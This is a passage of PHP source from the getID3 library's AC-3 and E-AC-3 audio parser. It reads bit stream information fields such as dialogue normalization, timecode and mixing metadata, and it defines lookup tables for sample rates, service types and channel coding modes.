				$thisfile_ac3_raw_bsi['dsurmod'] = $this->readHeaderBSI(2);
				$thisfile_ac3['dolby_surround_mode'] = self::dolbySurroundModeLookup($thisfile_ac3_raw_bsi['dsurmod']);
			}

			$thisfile_ac3_raw_bsi['flags']['lfeon'] = (bool) $this->readHeaderBSI(1);

			// This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31.
			// The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.
			$thisfile_ac3_raw_bsi['dialnorm'] = $this->readHeaderBSI(5);                 // 5.4.2.8 dialnorm: Dialogue Normalization, 5 Bits

			$thisfile_ac3_raw_bsi['flags']['compr'] = (bool) $this->readHeaderBSI(1);       // 5.4.2.9 compre: Compression Gain Word Exists, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['compr']) {
				$thisfile_ac3_raw_bsi['compr'] = $this->readHeaderBSI(8);                // 5.4.2.10 compr: Compression Gain Word, 8 Bits
				$thisfile_ac3['heavy_compression'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr']);
			}

			$thisfile_ac3_raw_bsi['flags']['langcod'] = (bool) $this->readHeaderBSI(1);     // 5.4.2.11 langcode: Language Code Exists, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['langcod']) {
				$thisfile_ac3_raw_bsi['langcod'] = $this->readHeaderBSI(8);              // 5.4.2.12 langcod: Language Code, 8 Bits
			}

			$thisfile_ac3_raw_bsi['flags']['audprodinfo'] = (bool) $this->readHeaderBSI(1);  // 5.4.2.13 audprodie: Audio Production Information Exists, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['audprodinfo']) {
				$thisfile_ac3_raw_bsi['mixlevel'] = $this->readHeaderBSI(5);             // 5.4.2.14 mixlevel: Mixing Level, 5 Bits
				$thisfile_ac3_raw_bsi['roomtyp']  = $this->readHeaderBSI(2);             // 5.4.2.15 roomtyp: Room Type, 2 Bits

				$thisfile_ac3['mixing_level'] = (80 + $thisfile_ac3_raw_bsi['mixlevel']).'dB';
				$thisfile_ac3['room_type']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp']);
			}


			$thisfile_ac3_raw_bsi['dialnorm2'] = $this->readHeaderBSI(5);                // 5.4.2.16 dialnorm2: Dialogue Normalization, ch2, 5 Bits
			$thisfile_ac3['dialogue_normalization2'] = '-'.$thisfile_ac3_raw_bsi['dialnorm2'].'dB';  // This indicates how far the average dialogue level is below digital 100 percent. Valid values are 1-31. The value of 0 is reserved. The values of 1 to 31 are interpreted as -1 dB to -31 dB with respect to digital 100 percent.

			$thisfile_ac3_raw_bsi['flags']['compr2'] = (bool) $this->readHeaderBSI(1);       // 5.4.2.17 compr2e: Compression Gain Word Exists, ch2, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['compr2']) {
				$thisfile_ac3_raw_bsi['compr2'] = $this->readHeaderBSI(8);               // 5.4.2.18 compr2: Compression Gain Word, ch2, 8 Bits
				$thisfile_ac3['heavy_compression2'] = self::heavyCompression($thisfile_ac3_raw_bsi['compr2']);
			}

			$thisfile_ac3_raw_bsi['flags']['langcod2'] = (bool) $this->readHeaderBSI(1);    // 5.4.2.19 langcod2e: Language Code Exists, ch2, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['langcod2']) {
				$thisfile_ac3_raw_bsi['langcod2'] = $this->readHeaderBSI(8);             // 5.4.2.20 langcod2: Language Code, ch2, 8 Bits
			}

			$thisfile_ac3_raw_bsi['flags']['audprodinfo2'] = (bool) $this->readHeaderBSI(1); // 5.4.2.21 audprodi2e: Audio Production Information Exists, ch2, 1 Bit
			if ($thisfile_ac3_raw_bsi['flags']['audprodinfo2']) {
				$thisfile_ac3_raw_bsi['mixlevel2'] = $this->readHeaderBSI(5);            // 5.4.2.22 mixlevel2: Mixing Level, ch2, 5 Bits
				$thisfile_ac3_raw_bsi['roomtyp2']  = $this->readHeaderBSI(2);            // 5.4.2.23 roomtyp2: Room Type, ch2, 2 Bits

				$thisfile_ac3['mixing_level2'] = (80 + $thisfile_ac3_raw_bsi['mixlevel2']).'dB';
				$thisfile_ac3['room_type2']    = self::roomTypeLookup($thisfile_ac3_raw_bsi['roomtyp2']);
			}

			$thisfile_ac3_raw_bsi['copyright'] = (bool) $this->readHeaderBSI(1);         // 5.4.2.24 copyrightb: Copyright Bit, 1 Bit

			$thisfile_ac3_raw_bsi['original']  = (bool) $this->readHeaderBSI(1);         // 5.4.2.25 origbs: Original Bit Stream, 1 Bit

			$thisfile_ac3_raw_bsi['flags']['timecod1'] = $this->readHeaderBSI(2);            // 5.4.2.26 timecod1e, timcode2e: Time Code (first and second) Halves Exist, 2 Bits
			if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x01) {
				$thisfile_ac3_raw_bsi['timecod1'] = $this->readHeaderBSI(14);            // 5.4.2.27 timecod1: Time code first half, 14 bits
				$thisfile_ac3['timecode1'] = 0;
				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x3E00) >>  9) * 3600;  // The first 5 bits of this 14-bit field represent the time in hours, with valid values of 0�23
				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x01F8) >>  3) *   60;  // The next 6 bits represent the time in minutes, with valid values of 0�59
				$thisfile_ac3['timecode1'] += (($thisfile_ac3_raw_bsi['timecod1'] & 0x0003) >>  0) *    8;  // The final 3 bits represents the time in 8 second increments, with valid values of 0�7 (representing 0, 8, 16, ... 56 seconds)
			}
			if ($thisfile_ac3_raw_bsi['flags']['timecod1'] & 0x02) {
				$thisfile_ac3_raw_bsi['timecod2'] = $this->readHeaderBSI(14);            // 5.4.2.28 timecod2: Time code second half, 14 bits
				$thisfile_ac3['timecode2'] = 0;
				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x3800) >> 11) *   1;              // The first 3 bits of this 14-bit field represent the time in seconds, with valid values from 0�7 (representing 0-7 seconds)
				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x07C0) >>  6) *  (1 / 30);        // The next 5 bits represents the time in frames, with valid values from 0�29 (one frame = 1/30th of a second)
				$thisfile_ac3['timecode2'] += (($thisfile_ac3_raw_bsi['timecod2'] & 0x003F) >>  0) * ((1 / 30) / 60);  // The final 6 bits represents fractions of 1/64 of a frame, with valid values from 0�63
			}

			$thisfile_ac3_raw_bsi['flags']['addbsi'] = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['addbsi']) {
				$thisfile_ac3_raw_bsi['addbsi_length'] = $this->readHeaderBSI(6) + 1; // This 6-bit code, which exists only if addbside is a 1, indicates the length in bytes of additional bit stream information. The valid range of addbsil is 0�63, indicating 1�64 additional bytes, respectively.

				$this->AC3header['bsi'] .= getid3_lib::BigEndian2Bin($this->fread($thisfile_ac3_raw_bsi['addbsi_length']));

				$thisfile_ac3_raw_bsi['addbsi_data'] = substr($this->AC3header['bsi'], $this->BSIoffset, $thisfile_ac3_raw_bsi['addbsi_length'] * 8);
				$this->BSIoffset += $thisfile_ac3_raw_bsi['addbsi_length'] * 8;
			}


		} elseif ($thisfile_ac3_raw_bsi['bsid'] <= 16) { // E-AC3


			$this->error('E-AC3 parsing is incomplete and experimental in this version of getID3 ('.$this->getid3->version().'). Notably the bitrate calculations are wrong -- value might (or not) be correct, but it is not calculated correctly. Email info@getid3.org if you know how to calculate EAC3 bitrate correctly.');
			$info['audio']['dataformat'] = 'eac3';

			$thisfile_ac3_raw_bsi['strmtyp']          =        $this->readHeaderBSI(2);
			$thisfile_ac3_raw_bsi['substreamid']      =        $this->readHeaderBSI(3);
			$thisfile_ac3_raw_bsi['frmsiz']           =        $this->readHeaderBSI(11);
			$thisfile_ac3_raw_bsi['fscod']            =        $this->readHeaderBSI(2);
			if ($thisfile_ac3_raw_bsi['fscod'] == 3) {
				$thisfile_ac3_raw_bsi['fscod2']       =        $this->readHeaderBSI(2);
				$thisfile_ac3_raw_bsi['numblkscod'] = 3; // six blocks per syncframe
			} else {
				$thisfile_ac3_raw_bsi['numblkscod']   =        $this->readHeaderBSI(2);
			}
			$thisfile_ac3['bsi']['blocks_per_sync_frame'] = self::blocksPerSyncFrame($thisfile_ac3_raw_bsi['numblkscod']);
			$thisfile_ac3_raw_bsi['acmod']            =        $this->readHeaderBSI(3);
			$thisfile_ac3_raw_bsi['flags']['lfeon']   = (bool) $this->readHeaderBSI(1);
			$thisfile_ac3_raw_bsi['bsid']             =        $this->readHeaderBSI(5); // we already know this from pre-parsing the version identifier, but re-read it to let the bitstream flow as intended
			$thisfile_ac3_raw_bsi['dialnorm']         =        $this->readHeaderBSI(5);
			$thisfile_ac3_raw_bsi['flags']['compr']       = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['compr']) {
				$thisfile_ac3_raw_bsi['compr']        =        $this->readHeaderBSI(8);
			}
			if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
				$thisfile_ac3_raw_bsi['dialnorm2']    =        $this->readHeaderBSI(5);
				$thisfile_ac3_raw_bsi['flags']['compr2']  = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['flags']['compr2']) {
					$thisfile_ac3_raw_bsi['compr2']   =        $this->readHeaderBSI(8);
				}
			}
			if ($thisfile_ac3_raw_bsi['strmtyp'] == 1) { // if dependent stream
				$thisfile_ac3_raw_bsi['flags']['chanmap'] = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['flags']['chanmap']) {
					$thisfile_ac3_raw_bsi['chanmap']  =        $this->readHeaderBSI(8);
				}
			}
			$thisfile_ac3_raw_bsi['flags']['mixmdat']     = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['mixmdat']) { // Mixing metadata
				if ($thisfile_ac3_raw_bsi['acmod'] > 2) { // if more than 2 channels
					$thisfile_ac3_raw_bsi['dmixmod']  =        $this->readHeaderBSI(2);
				}
				if (($thisfile_ac3_raw_bsi['acmod'] & 0x01) && ($thisfile_ac3_raw_bsi['acmod'] > 2)) { // if three front channels exist
					$thisfile_ac3_raw_bsi['ltrtcmixlev'] =        $this->readHeaderBSI(3);
					$thisfile_ac3_raw_bsi['lorocmixlev'] =        $this->readHeaderBSI(3);
				}
				if ($thisfile_ac3_raw_bsi['acmod'] & 0x04) { // if a surround channel exists
					$thisfile_ac3_raw_bsi['ltrtsurmixlev'] =        $this->readHeaderBSI(3);
					$thisfile_ac3_raw_bsi['lorosurmixlev'] =        $this->readHeaderBSI(3);
				}
				if ($thisfile_ac3_raw_bsi['flags']['lfeon']) { // if the LFE channel exists
					$thisfile_ac3_raw_bsi['flags']['lfemixlevcod'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['lfemixlevcod']) {
						$thisfile_ac3_raw_bsi['lfemixlevcod']  =        $this->readHeaderBSI(5);
					}
				}
				if ($thisfile_ac3_raw_bsi['strmtyp'] == 0) { // if independent stream
					$thisfile_ac3_raw_bsi['flags']['pgmscl'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['pgmscl']) {
						$thisfile_ac3_raw_bsi['pgmscl']  =        $this->readHeaderBSI(6);
					}
					if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
						$thisfile_ac3_raw_bsi['flags']['pgmscl2'] = (bool) $this->readHeaderBSI(1);
						if ($thisfile_ac3_raw_bsi['flags']['pgmscl2']) {
							$thisfile_ac3_raw_bsi['pgmscl2']  =        $this->readHeaderBSI(6);
						}
					}
					$thisfile_ac3_raw_bsi['flags']['extpgmscl'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['extpgmscl']) {
						$thisfile_ac3_raw_bsi['extpgmscl']  =        $this->readHeaderBSI(6);
					}
					$thisfile_ac3_raw_bsi['mixdef']  =        $this->readHeaderBSI(2);
					if ($thisfile_ac3_raw_bsi['mixdef'] == 1) { // mixing option 2
						$thisfile_ac3_raw_bsi['premixcmpsel']  = (bool) $this->readHeaderBSI(1);
						$thisfile_ac3_raw_bsi['drcsrc']        = (bool) $this->readHeaderBSI(1);
						$thisfile_ac3_raw_bsi['premixcmpscl']  =        $this->readHeaderBSI(3);
					} elseif ($thisfile_ac3_raw_bsi['mixdef'] == 2) { // mixing option 3
						$thisfile_ac3_raw_bsi['mixdata']       =        $this->readHeaderBSI(12);
					} elseif ($thisfile_ac3_raw_bsi['mixdef'] == 3) { // mixing option 4
						$mixdefbitsread = 0;
						$thisfile_ac3_raw_bsi['mixdeflen']     =        $this->readHeaderBSI(5); $mixdefbitsread += 5;
						$thisfile_ac3_raw_bsi['flags']['mixdata2'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
						if ($thisfile_ac3_raw_bsi['flags']['mixdata2']) {
							$thisfile_ac3_raw_bsi['premixcmpsel']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							$thisfile_ac3_raw_bsi['drcsrc']        = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							$thisfile_ac3_raw_bsi['premixcmpscl']  =        $this->readHeaderBSI(3); $mixdefbitsread += 3;
							$thisfile_ac3_raw_bsi['flags']['extpgmlscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmlscl']) {
								$thisfile_ac3_raw_bsi['extpgmlscl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmcscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmcscl']) {
								$thisfile_ac3_raw_bsi['extpgmcscl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmrscl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmrscl']) {
								$thisfile_ac3_raw_bsi['extpgmrscl']    =        $this->readHeaderBSI(4);
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmlsscl']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmlsscl']) {
								$thisfile_ac3_raw_bsi['extpgmlsscl']   =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmrsscl']  = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmrsscl']) {
								$thisfile_ac3_raw_bsi['extpgmrsscl']   =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['extpgmlfescl'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['extpgmlfescl']) {
								$thisfile_ac3_raw_bsi['extpgmlfescl']  =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['dmixscl']      = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['dmixscl']) {
								$thisfile_ac3_raw_bsi['dmixscl']       =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
							}
							$thisfile_ac3_raw_bsi['flags']['addch']        = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['addch']) {
								$thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
								if ($thisfile_ac3_raw_bsi['flags']['extpgmaux1scl']) {
									$thisfile_ac3_raw_bsi['extpgmaux1scl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
								}
								$thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']   = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
								if ($thisfile_ac3_raw_bsi['flags']['extpgmaux2scl']) {
									$thisfile_ac3_raw_bsi['extpgmaux2scl']    =        $this->readHeaderBSI(4); $mixdefbitsread += 4;
								}
							}
						}
						$thisfile_ac3_raw_bsi['flags']['mixdata3'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
						if ($thisfile_ac3_raw_bsi['flags']['mixdata3']) {
							$thisfile_ac3_raw_bsi['spchdat']   =        $this->readHeaderBSI(5); $mixdefbitsread += 5;
							$thisfile_ac3_raw_bsi['flags']['addspchdat'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
							if ($thisfile_ac3_raw_bsi['flags']['addspchdat']) {
								$thisfile_ac3_raw_bsi['spchdat1']   =         $this->readHeaderBSI(5); $mixdefbitsread += 5;
								$thisfile_ac3_raw_bsi['spchan1att'] =         $this->readHeaderBSI(2); $mixdefbitsread += 2;
								$thisfile_ac3_raw_bsi['flags']['addspchdat1'] = (bool) $this->readHeaderBSI(1); $mixdefbitsread += 1;
								if ($thisfile_ac3_raw_bsi['flags']['addspchdat1']) {
									$thisfile_ac3_raw_bsi['spchdat2']   =         $this->readHeaderBSI(5); $mixdefbitsread += 5;
									$thisfile_ac3_raw_bsi['spchan2att'] =         $this->readHeaderBSI(3); $mixdefbitsread += 3;
								}
							}
						}
						$mixdata_bits = (8 * ($thisfile_ac3_raw_bsi['mixdeflen'] + 2)) - $mixdefbitsread;
						$mixdata_fill = (($mixdata_bits % 8) ? 8 - ($mixdata_bits % 8) : 0);
						$thisfile_ac3_raw_bsi['mixdata']     =        $this->readHeaderBSI($mixdata_bits);
						$thisfile_ac3_raw_bsi['mixdatafill'] =        $this->readHeaderBSI($mixdata_fill);
						unset($mixdefbitsread, $mixdata_bits, $mixdata_fill);
					}
					if ($thisfile_ac3_raw_bsi['acmod'] < 2) { // if mono or dual mono source
						$thisfile_ac3_raw_bsi['flags']['paninfo'] = (bool) $this->readHeaderBSI(1);
						if ($thisfile_ac3_raw_bsi['flags']['paninfo']) {
							$thisfile_ac3_raw_bsi['panmean']   =        $this->readHeaderBSI(8);
							$thisfile_ac3_raw_bsi['paninfo']   =        $this->readHeaderBSI(6);
						}
						if ($thisfile_ac3_raw_bsi['acmod'] == 0) { // if 1+1 mode (dual mono, so some items need a second value)
							$thisfile_ac3_raw_bsi['flags']['paninfo2'] = (bool) $this->readHeaderBSI(1);
							if ($thisfile_ac3_raw_bsi['flags']['paninfo2']) {
								$thisfile_ac3_raw_bsi['panmean2']   =        $this->readHeaderBSI(8);
								$thisfile_ac3_raw_bsi['paninfo2']   =        $this->readHeaderBSI(6);
							}
						}
					}
					$thisfile_ac3_raw_bsi['flags']['frmmixcfginfo'] = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['frmmixcfginfo']) { // mixing configuration information
						if ($thisfile_ac3_raw_bsi['numblkscod'] == 0) {
							$thisfile_ac3_raw_bsi['blkmixcfginfo'][0]  =        $this->readHeaderBSI(5);
						} else {
							for ($blk = 0; $blk < $thisfile_ac3_raw_bsi['numblkscod']; $blk++) {
								$thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk] = (bool) $this->readHeaderBSI(1);
								if ($thisfile_ac3_raw_bsi['flags']['blkmixcfginfo'.$blk]) { // mixing configuration information
									$thisfile_ac3_raw_bsi['blkmixcfginfo'][$blk]  =        $this->readHeaderBSI(5);
								}
							}
						}
					}
				}
			}
			$thisfile_ac3_raw_bsi['flags']['infomdat']          = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['infomdat']) { // Informational metadata
				$thisfile_ac3_raw_bsi['bsmod']                  =        $this->readHeaderBSI(3);
				$thisfile_ac3_raw_bsi['flags']['copyrightb']    = (bool) $this->readHeaderBSI(1);
				$thisfile_ac3_raw_bsi['flags']['origbs']        = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['acmod'] == 2) { //  if in 2/0 mode
					$thisfile_ac3_raw_bsi['dsurmod']            =        $this->readHeaderBSI(2);
					$thisfile_ac3_raw_bsi['dheadphonmod']       =        $this->readHeaderBSI(2);
				}
				if ($thisfile_ac3_raw_bsi['acmod'] >= 6) { //  if both surround channels exist
					$thisfile_ac3_raw_bsi['dsurexmod']          =        $this->readHeaderBSI(2);
				}
				$thisfile_ac3_raw_bsi['flags']['audprodi']      = (bool) $this->readHeaderBSI(1);
				if ($thisfile_ac3_raw_bsi['flags']['audprodi']) {
					$thisfile_ac3_raw_bsi['mixlevel']           =        $this->readHeaderBSI(5);
					$thisfile_ac3_raw_bsi['roomtyp']            =        $this->readHeaderBSI(2);
					$thisfile_ac3_raw_bsi['flags']['adconvtyp'] = (bool) $this->readHeaderBSI(1);
				}
				if ($thisfile_ac3_raw_bsi['acmod'] == 0) { //  if 1+1 mode (dual mono, so some items need a second value)
					$thisfile_ac3_raw_bsi['flags']['audprodi2']      = (bool) $this->readHeaderBSI(1);
					if ($thisfile_ac3_raw_bsi['flags']['audprodi2']) {
						$thisfile_ac3_raw_bsi['mixlevel2']           =        $this->readHeaderBSI(5);
						$thisfile_ac3_raw_bsi['roomtyp2']            =        $this->readHeaderBSI(2);
						$thisfile_ac3_raw_bsi['flags']['adconvtyp2'] = (bool) $this->readHeaderBSI(1);
					}
				}
				if ($thisfile_ac3_raw_bsi['fscod'] < 3) { // if not half sample rate
					$thisfile_ac3_raw_bsi['flags']['sourcefscod'] = (bool) $this->readHeaderBSI(1);
				}
			}
			if (($thisfile_ac3_raw_bsi['strmtyp'] == 0) && ($thisfile_ac3_raw_bsi['numblkscod'] != 3)) { //  if both surround channels exist
				$thisfile_ac3_raw_bsi['flags']['convsync'] = (bool) $this->readHeaderBSI(1);
			}
			if ($thisfile_ac3_raw_bsi['strmtyp'] == 2) { //  if bit stream converted from AC-3
				if ($thisfile_ac3_raw_bsi['numblkscod'] != 3) { // 6 blocks per syncframe
					$thisfile_ac3_raw_bsi['flags']['blkid']  = 1;
				} else {
					$thisfile_ac3_raw_bsi['flags']['blkid']  = (bool) $this->readHeaderBSI(1);
				}
				if ($thisfile_ac3_raw_bsi['flags']['blkid']) {
					$thisfile_ac3_raw_bsi['frmsizecod']  =        $this->readHeaderBSI(6);
				}
			}
			$thisfile_ac3_raw_bsi['flags']['addbsi']  = (bool) $this->readHeaderBSI(1);
			if ($thisfile_ac3_raw_bsi['flags']['addbsi']) {
				$thisfile_ac3_raw_bsi['addbsil']  =        $this->readHeaderBSI(6);
				$thisfile_ac3_raw_bsi['addbsi']   =        $this->readHeaderBSI(($thisfile_ac3_raw_bsi['addbsil'] + 1) * 8);
			}

		} else {

			$this->error('Bit stream identification is version '.$thisfile_ac3_raw_bsi['bsid'].', but getID3() only understands up to version 16. Please submit a support ticket with a sample file.');
			unset($info['ac3']);
			return false;

		}

		if (isset($thisfile_ac3_raw_bsi['fscod2'])) {
			$thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup2($thisfile_ac3_raw_bsi['fscod2']);
		} else {
			$thisfile_ac3['sample_rate'] = self::sampleRateCodeLookup($thisfile_ac3_raw_bsi['fscod']);
		}
		if ($thisfile_ac3_raw_bsi['fscod'] <= 3) {
			$info['audio']['sample_rate'] = $thisfile_ac3['sample_rate'];
		} else {
			$this->warning('Unexpected ac3.bsi.fscod value: '.$thisfile_ac3_raw_bsi['fscod']);
		}
		if (isset($thisfile_ac3_raw_bsi['frmsizecod'])) {
			$thisfile_ac3['frame_length'] = self::frameSizeLookup($thisfile_ac3_raw_bsi['frmsizecod'], $thisfile_ac3_raw_bsi['fscod']);
			$thisfile_ac3['bitrate']      = self::bitrateLookup($thisfile_ac3_raw_bsi['frmsizecod']);
		} elseif (!empty($thisfile_ac3_raw_bsi['frmsiz'])) {
			// this isn't right, but it's (usually) close, roughly 5% less than it should be.
			// but WHERE is the actual bitrate value stored in EAC3?? email info@getid3.org if you know!
			$thisfile_ac3['bitrate']      = ($thisfile_ac3_raw_bsi['frmsiz'] + 1) * 16 * 30; // The frmsiz field shall contain a value one less than the overall size of the coded syncframe in 16-bit words. That is, this field may assume a value ranging from 0 to 2047, and these values correspond to syncframe sizes ranging from 1 to 2048.
			// kludge-fix to make it approximately the expected value, still not "right":
			$thisfile_ac3['bitrate'] = round(($thisfile_ac3['bitrate'] * 1.05) / 16000) * 16000;
		}
		$info['audio']['bitrate'] = $thisfile_ac3['bitrate'];

		if (isset($thisfile_ac3_raw_bsi['bsmod']) && isset($thisfile_ac3_raw_bsi['acmod'])) {
			$thisfile_ac3['service_type'] = self::serviceTypeLookup($thisfile_ac3_raw_bsi['bsmod'], $thisfile_ac3_raw_bsi['acmod']);
		}
		$ac3_coding_mode = self::audioCodingModeLookup($thisfile_ac3_raw_bsi['acmod']);
		foreach($ac3_coding_mode as $key => $value) {
			$thisfile_ac3[$key] = $value;
		}
		switch ($thisfile_ac3_raw_bsi['acmod']) {
			case 0:
			case 1:
				$info['audio']['channelmode'] = 'mono';
				break;
			case 3:
			case 4:
				$info['audio']['channelmode'] = 'stereo';
				break;
			default:
				$info['audio']['channelmode'] = 'surround';
				break;
		}
		$info['audio']['channels'] = $thisfile_ac3['num_channels'];

		$thisfile_ac3['lfe_enabled'] = $thisfile_ac3_raw_bsi['flags']['lfeon'];
		if ($thisfile_ac3_raw_bsi['flags']['lfeon']) {
			$info['audio']['channels'] .= '.1';
		}

		$thisfile_ac3['channels_enabled'] = self::channelsEnabledLookup($thisfile_ac3_raw_bsi['acmod'], $thisfile_ac3_raw_bsi['flags']['lfeon']);
		$thisfile_ac3['dialogue_normalization'] = '-'.$thisfile_ac3_raw_bsi['dialnorm'].'dB';

		return true;
	}

	/**
	 * @param int $length
	 *
	 * @return int
	 */
	private function readHeaderBSI($length) {
		$data = substr($this->AC3header['bsi'], $this->BSIoffset, $length);
		$this->BSIoffset += $length;

		return bindec($data);
	}

	/**
	 * @param int $fscod
	 *
	 * @return int|string|false
	 */
	public static function sampleRateCodeLookup($fscod) {
		static $sampleRateCodeLookup = array(
			0 => 48000,
			1 => 44100,
			2 => 32000,
			3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
		);
		return (isset($sampleRateCodeLookup[$fscod]) ? $sampleRateCodeLookup[$fscod] : false);
	}

	/**
	 * @param int $fscod2
	 *
	 * @return int|string|false
	 */
	public static function sampleRateCodeLookup2($fscod2) {
		static $sampleRateCodeLookup2 = array(
			0 => 24000,
			1 => 22050,
			2 => 16000,
			3 => 'reserved' // If the reserved code is indicated, the decoder should not attempt to decode audio and should mute.
		);
		return (isset($sampleRateCodeLookup2[$fscod2]) ? $sampleRateCodeLookup2[$fscod2] : false);
	}

	/**
	 * @param int $bsmod
	 * @param int $acmod
	 *
	 * @return string|false
	 */
	public static function serviceTypeLookup($bsmod, $acmod) {
		static $serviceTypeLookup = array();
		if (empty($serviceTypeLookup)) {
			for ($i = 0; $i <= 7; $i++) {
				$serviceTypeLookup[0][$i] = 'main audio service: complete main (CM)';
				$serviceTypeLookup[1][$i] = 'main audio service: music and effects (ME)';
				$serviceTypeLookup[2][$i] = 'associated service: visually impaired (VI)';
				$serviceTypeLookup[3][$i] = 'associated service: hearing impaired (HI)';
				$serviceTypeLookup[4][$i] = 'associated service: dialogue (D)';
				$serviceTypeLookup[5][$i] = 'associated service: commentary (C)';
				$serviceTypeLookup[6][$i] = 'associated service: emergency (E)';
			}

			$serviceTypeLookup[7][1]      = 'associated service: voice over (VO)';
			for ($i = 2; $i <= 7; $i++) {
				$serviceTypeLookup[7][$i] = 'main audio service: karaoke';
			}
		}
		return (isset($serviceTypeLookup[$bsmod][$acmod]) ? $serviceTypeLookup[$bsmod][$acmod] : false);
	}

	/**
	 * @param int $acmod
	 *
	 * @return array|false
	 */
	public static function audioCodingModeLookup($acmod) {
		// array(channel configuration, # channels (not incl LFE), channel order)
		static $audioCodingModeLookup = array (
			0 => array('channel_config'=>'1+1', 'num_channels'=>2, 'channel_order'=>'Ch1,Ch2'),
			1 => array('channel_config'=>'1/0', 'num_channels'=>1, 'channel_order'=>'C'),
			2 => array('channel_config'=>'2/0', 'num_channels'=>2, 'channel_order'=>'L,R'),
			3 => array('channel_config'=>'3/0', 'num_channels'=>3, 'channel_order'=>'L,C,R'),
			4 => array('channel_config'=>'2/1', 'num_channels'=>3, 'channel_order'=>'L,R,S'),
			5 => array('channel_config'=>'3/1', 'num_channels'=>4, 'channel_order'=>'L,C,R,S'),
			6 => array('channel_config'=>'2/2', 'num_channels'=>4, 'channel_order'=>'L,R,SL,SR'),
			7 => array('channel_config'=>'3/2', 'num_channels'=>5, 'channel_order'=>'L,C,R,SL,SR'),
		);
		return (isset($audioCodingModeLookup[$acmod]) ? $audioCodingModeLookup[$acmod] : false);
	}

	/**
	 * @param int $cmixlev
	 *
	 * @return int|float|string|false
	 */
	public static function centerMixLevelLookup($cmixlev) {
		static $centerMixLevelLookup;
		if (empty($centerMixLevelLookup)) {
			$centerMixLevelLookup = array(
				0 => pow(2, -3.0 / 6), // 0.707 (-3.0 dB)
				1 => pow(2, -4.5 / 6), // 0.595 (-4.5 dB)
				2 => pow(2, -6.0 / 6), // 0.500 (-6.0 dB)
				3 => 'reserved'
			);
		}
		return (isset($centerMixLevelLookup[$cmixlev]) ? $centerMixLevelLookup[$cmixlev] : false);
	}

	/**
	 * @param int $surmixlev
	 *
	 * @return int|float|string|false
	 */
	public static function surroundMixLevelLookup($surmixlev) {
		static $surroundMixLevelLookup;
		if (empty($surroundMixLevelLookup)) {
			$surroundMixLevelLookup = array(
